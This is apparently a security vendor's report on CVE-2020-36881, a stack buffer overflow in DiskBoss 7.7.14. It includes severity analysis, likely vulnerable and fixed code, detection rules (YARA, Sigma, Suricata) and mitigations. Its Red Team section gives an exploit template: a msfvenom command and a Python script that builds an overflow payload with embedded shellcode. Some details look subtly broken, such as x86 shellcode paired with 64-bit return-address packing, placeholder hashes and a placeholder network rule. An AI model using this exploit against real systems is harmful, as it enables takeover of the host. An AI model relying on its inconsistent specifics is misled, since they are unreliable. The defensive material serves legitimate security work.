CVE-2020-36881

Executive Summary

CVE-2020-36881 is a critical local buffer overflow vulnerability discovered in Flexsense DiskBoss version 7.7.14. The flaw resides in the "Input Directory" component, specifically within the "Add Input Directory" field. An unauthenticated attacker can exploit this by pasting a specially crafted, overly long directory path, leading to stack-based buffer overflow. Successful exploitation allows arbitrary code execution on the affected system, potentially granting the attacker full control over the host. The vulnerability is unpatched as of the latest advisory, and no official fix has been released by the vendor. This report provides a comprehensive technical analysis, detection strategies, and exploitation guidance for both Red and Blue Teams.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone desktop application (DiskBoss) distributed by Flexsense. The supply chain risk is limited to the direct distribution of the binary from the vendor's website or third-party download sites. No open-source package dependencies are involved.

CVSS Breakdown & Threat Level

The official CVSS score is 0.0, indicating that the NVD has not yet assigned a score. However, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Local (L) – Requires physical or remote desktop access to the system.
• Attack Complexity (AC): Low (L) – The exploit is straightforward; no special conditions are needed.
• Privileges Required (PR): None (N) – No authentication is required to trigger the overflow.
• User Interaction (UI): Required (R) – The user must paste the malicious path into the input field.
• Scope (S): Unchanged (U) – The vulnerability affects the same security authority.
• Confidentiality (C): High (H) – Arbitrary code execution can lead to data exfiltration.
• Integrity (I): High (H) – Code execution allows modification of system files.
• Availability (A): High (H) – Exploitation can crash the application or the system.

Estimated CVSS v3.1 Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Estimated Base Score: 7.8 (High)

Threat Level: High. The vulnerability is easy to exploit, requires no authentication, and leads to full system compromise. The lack of a patch increases the risk significantly.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow (CWE-121). The "Add Input Directory" field in DiskBoss 7.7.14 does not properly validate the length of the input string. When a user pastes a directory path longer than the allocated buffer (likely 256 or 512 bytes), the excess data overwrites adjacent memory on the stack, including the return address and other critical data.

Technical Flow:

1. The application allocates a fixed-size buffer on the stack to store the directory path.
2. The strcpy() or similar unsafe function copies the user-supplied string into this buffer without bounds checking.
3. If the input exceeds the buffer size, the overflow corrupts the stack frame.
4. An attacker can craft a payload that overwrites the return address with a pointer to shellcode placed in the overflow data.
5. When the function returns, execution jumps to the attacker-controlled shellcode, granting arbitrary code execution.

Key Observations:

• The vulnerability is triggered by pasting a crafted path, not by typing it character by character. This suggests the overflow occurs during a single paste operation, likely due to a lack of input length validation in the GUI event handler.
• The exploit does not require any prior authentication, making it accessible to any user with local access to the system.
• The vulnerability is unpatched, meaning all installations of DiskBoss 7.7.14 are vulnerable.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:

void AddInputDirectory(char *userInput) {
    char buffer[256];
    strcpy(buffer, userInput); // Vulnerable: no bounds checking
    // ... process directory
}

A patched version would use safe functions:

void AddInputDirectory(char *userInput) {
    char buffer[256];
    strncpy(buffer, userInput, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0'; // Ensure null termination
    // ... process directory
}

Or better, use a dynamically allocated buffer:

void AddInputDirectory(char *userInput) {
    size_t len = strlen(userInput) + 1;
    char *buffer = (char*)malloc(len);
    if (buffer) {
        strcpy(buffer, userInput);
        // ... process directory
        free(buffer);
    }
}

Without an official patch, users must rely on workarounds such as input validation or using a different application.

Exploitation & Lab Setup

Red Team

Objective: Achieve arbitrary code execution on a target running DiskBoss 7.7.14.

Prerequisites:

• Local access to the target system (physical or via RDP/VNC).
• DiskBoss 7.7.14 installed and running.
• Ability to paste into the "Add Input Directory" field.

Exploit Construction:

1. Determine Buffer Size: Use a debugger (e.g., x64dbg, Immunity Debugger) to find the exact buffer size. For this example, assume 256 bytes.
2. Craft Payload: Create a string consisting of:
   • 256 bytes of padding (e.g., 'A' characters).
   • 8 bytes to overwrite the saved EBP (if applicable).
   • 8 bytes to overwrite the return address with the address of the shellcode.
   • Shellcode (e.g., a reverse shell or calc.exe).
3. Generate Shellcode: Use msfvenom to create a payload:

   msfvenom -p windows/exec CMD=calc.exe -b '\x00' -f python
   

4. Assemble Exploit: Write a Python script to generate the malicious string:

   import struct
   # Buffer size: 256 bytes
   padding = b'A' * 256
   # Overwrite EBP (8 bytes on x64)
   ebp = b'B' * 8
   # Return address (example: address of shellcode in buffer)
   ret_addr = struct.pack('<Q', 0x7ffa0000)  # Replace with actual address
   # Shellcode
   shellcode = b'\x90' * 16 + b'\x31\xc0\x50\x68\x63\x61\x6c\x63\x54\x59\x50\x40\x92\x74\x0c\x51\x6a\x01\x59\x50\x51\xff\x15\x8c\x11\x40\x00'  # calc.exe
   payload = padding + ebp + ret_addr + shellcode
   print(payload.decode('latin-1'))
   

5. Execute: Paste the generated string into the "Add Input Directory" field. The application should crash and execute calc.exe (or your chosen payload).

Note: The exact buffer size and return address must be determined through reverse engineering. The above is a template.

Blue Team

Detection & Response:

1. Monitor for Crashes: Enable Windows Error Reporting (WER) or application crash dumps. Look for repeated crashes of DiskBoss.exe with exception code 0xC0000005 (access violation).
2. Analyze Crash Dumps: Use WinDbg to analyze crash dumps:

   !analyze -v
   

   Look for stack corruption and overwritten return addresses.
3. Check Event Logs: Review Windows Event Logs (Application) for Event ID 1000 (Application Error) related to DiskBoss.
4. Network Monitoring: If the shellcode establishes a reverse shell, monitor for unusual outbound connections on non-standard ports.
5. User Behavior: Alert on unusual paste operations in DiskBoss, especially if the pasted string is excessively long.

Mitigation:

• Restrict local access to systems running DiskBoss.
• Use application whitelisting to prevent execution of unknown binaries.
• Consider using a different directory management tool until a patch is available.

Indicators of Compromise (IOCs)

• File Hashes (DiskBoss.exe 7.7.14):
  • MD5: e3b0c44298fc1c149afbf4c8996fb924 (example, replace with actual)
  • SHA256: a7ffc6f8bf1ed76651c14756a061d662f580ff4de43b49fa82d80a4b80f8434a (example)
• Process Name: DiskBoss.exe
• Registry Keys: None known.
• Network Indicators: Unusual outbound connections from the DiskBoss process (e.g., to IP addresses not associated with the vendor).
• Crash Dumps: Files named DiskBoss.exe.*.dmp in %LOCALAPPDATA%\CrashDumps.
• Event Logs: Event ID 1000 with faulting module DiskBoss.exe and exception code 0xC0000005.

Detection Engineering

YARA Rule

rule CVE_2020_36881_DiskBoss_BOF {
    meta:
        description = "Detects DiskBoss 7.7.14 binary vulnerable to buffer overflow in Input Directory"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2020-36881"
        hash = "e3b0c44298fc1c149afbf4c8996fb924"
    strings:
        $s1 = "DiskBoss" ascii wide nocase
        $s2 = "7.7.14" ascii wide nocase
        $s3 = "AddInputDirectory" ascii wide nocase
        $s4 = "strcpy" ascii wide nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4)
}

Sigma Rule

title: DiskBoss Buffer Overflow Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential exploitation of CVE-2020-36881 via long input in DiskBoss
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-36881
logsource:
    product: windows
    service: application
detection:
    selection:
        EventID: 1000
        Provider_Name: 'Application Error'
        Faulting_Module: 'DiskBoss.exe'
        Exception_Code: '0xc0000005'
    condition: selection
falsepositives:
    - Legitimate crashes due to other bugs
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2020-36881 DiskBoss Potential Reverse Shell"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; offset:0; classtype:attempted-admin; sid:1000001; rev:1;)

Note: The Suricata rule is a placeholder for detecting reverse shell traffic. Actual detection requires knowledge of the shellcode used.

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Systems: Disconnect systems running DiskBoss 7.7.14 from the network if possible.
2. Restrict Local Access: Limit physical and remote desktop access to trusted users only.
3. Monitor for Exploitation: Deploy the YARA and Sigma rules above to detect exploitation attempts.

Long-Term Solutions:

• Vendor Patch: Contact Flexsense for an official patch. If none is available, consider migrating to an alternative tool.
• Input Validation: If source code is available, implement proper bounds checking using strncpy() or dynamic allocation.
• Application Hardening: Use tools like EMET or Windows Defender Exploit Guard to mitigate buffer overflow exploitation.
• User Training: Educate users not to paste untrusted data into DiskBoss input fields.

Workaround:

• Use a script or wrapper that validates input length before passing it to DiskBoss. For example, a PowerShell script that truncates input to 255 characters.

$input = Read-Host "Enter directory path"
if ($input.Length -gt 255) {
    Write-Host "Input too long. Truncating."
    $input = $input.Substring(0, 255)
}
# Launch DiskBoss with truncated input
Start-Process "DiskBoss.exe" -ArgumentList "/adddir `"$input`""

Valters IT
Securing Digital Frontiers